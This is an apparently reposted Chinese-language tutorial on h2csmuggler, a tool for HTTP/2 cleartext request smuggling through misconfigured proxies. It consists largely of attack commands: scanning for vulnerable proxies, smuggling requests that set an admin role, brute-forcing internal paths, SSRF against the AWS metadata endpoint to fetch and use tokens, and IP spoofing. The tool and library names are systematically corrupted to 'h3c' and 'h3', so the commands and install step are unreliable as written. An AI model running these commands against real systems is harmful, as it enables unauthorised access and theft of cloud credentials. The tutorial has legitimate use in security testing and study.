您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關隱蔽性極強的HTTP2明文通信工具h2csmuggler怎么用,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
工具介紹
h3csmuggler是一款隱蔽性極強的HTTP/2明文通信工具,該工具能夠使用h3c兼容的后端服務器來建立HTTP/2明文(h3c)通信,并隱藏HTTP流量以通過不安全的邊緣服務器proxy_pass配置:
該工具適用于任何一個能夠轉發h3c更新Header的代理終端節點。因為h3c本身理應只在明文通信信道上執行,在HTTPs服務中進行檢測的話一般結果都會報真陽性。
相反,HTTP服務則有可能產生假陽性結果。比如說,啟用了h3c的代理可能會直接響應更新Header,而不是將其轉發至一個h3c后端。
廣大研究人員可以使用--scan-list選項來測試一個或多個Web服務器以尋找受影響的proxy_pass終端節點。建議大家使用一個目錄列表來進行目錄枚舉,比如說下面這個URL文本文件(urls.txt):
https://www.example.com/ https://www.example.com/api/ https://www.example.com/auth/ https://www.example.com/admin/ https://www.example.com/payments/ ...omitted for brevity...
./h3csmuggler.py --scan-list urls.txt --threads 5
./h3csmuggler.py -x https://www.example.com/api/ --test
當我們識別出了一個受影響節點之后,我們就可以利用它來進行信息傳輸了。現在,我們可以訪問或爆破一臺后端服務器的內部終端節點,然后提供自定義的語句或Header。在下面的例子中,我們將演示如何利用h3c的數據隱藏功能來繞過代理拒絕規則,并訪問內部/flag終端節點。
該工具唯一的依賴組件就是Python hyper-h3庫,安裝代碼如下:
pip3 install h3
這個測試環境將允許我們在一個受控環境下使用h3cSmuggler進行測試。docer-compose將會模擬三條指向已啟用h3c的Golang后端服務器的代理:
TCP port: Description ======== =========== 8000: HTTP h3c backend 8001: HAProxy -> h3c backend (Insecure default configuration) 8002: nginx -> h3c backend (Insecure custom configuration) 8003: Nuster -> HAProxy -> h3c backend (Insecure configuration with multiple layers of proxies)
我們可以使用下列命令生成證書并與docker-compose環境綁定:
# Generate certs ./configs/generate-certificates.sh # Activate services docker-compose up
接下來,我們嘗試通過HAProxy服務器(端口8001)來訪問那些被禁止訪問的終端節點:
我們可以使用h3cSmuggler的--test(或-t)選項來確認代理的不安全配置:
現在,我們使用h3cSmuggler來執行一次h3c更新,我們通過代理來傳輸我們的HTTP/2流量,然后向后端服務器請求訪問/flag節點,并繞過代理的訪問控制:
h3cSmuggler使用了類curl語句來處理請求:
usage: h3csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v] [url] Detect and exploit insecure forwarding of h3c upgrades. positional arguments: url optional arguments: -h, --help show this help message and exit --scan-list SCAN_LIST list of URLs for scanning --threads THREADS # of threads (for use with --scan-list) --upgrade-only drop HTTP2-Settings from outgoing Connection header -x PROXY, --proxy PROXY proxy server to try to bypass -i WORDLIST, --wordlist WORDLIST list of paths to bruteforce -X REQUEST, --request REQUEST smuggled verb -d DATA, --data DATA smuggled data -H HEADER, --header HEADER smuggled headers -m MAX_TIME, --max-time MAX_TIME socket timeout in seconds (type: float; default 10) -t, --test test a single proxy server -v, --verbose
1、掃描URL地址列表來識別受影響的終端節點:
./h3csmuggler.py --scan-list urls.txt --threads 5
或者,將數據結果重定向到目標文件:
./h3csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2、發送特制的POST請求來繞過邊緣服務器并抵達內部節點:
./h3csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3、使用HTTP/2多路復用爆破內部節點:
/h3csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4、利用Host Header SSRF,獲取令牌:
./h3csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
發送令牌:
./h3csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5、使用X-Forwarded-For Header實現IP地址欺騙,并訪問內部節點儀表盤:
./h3csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
上述就是小編為大家分享的隱蔽性極強的HTTP2明文通信工具h2csmuggler怎么用了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。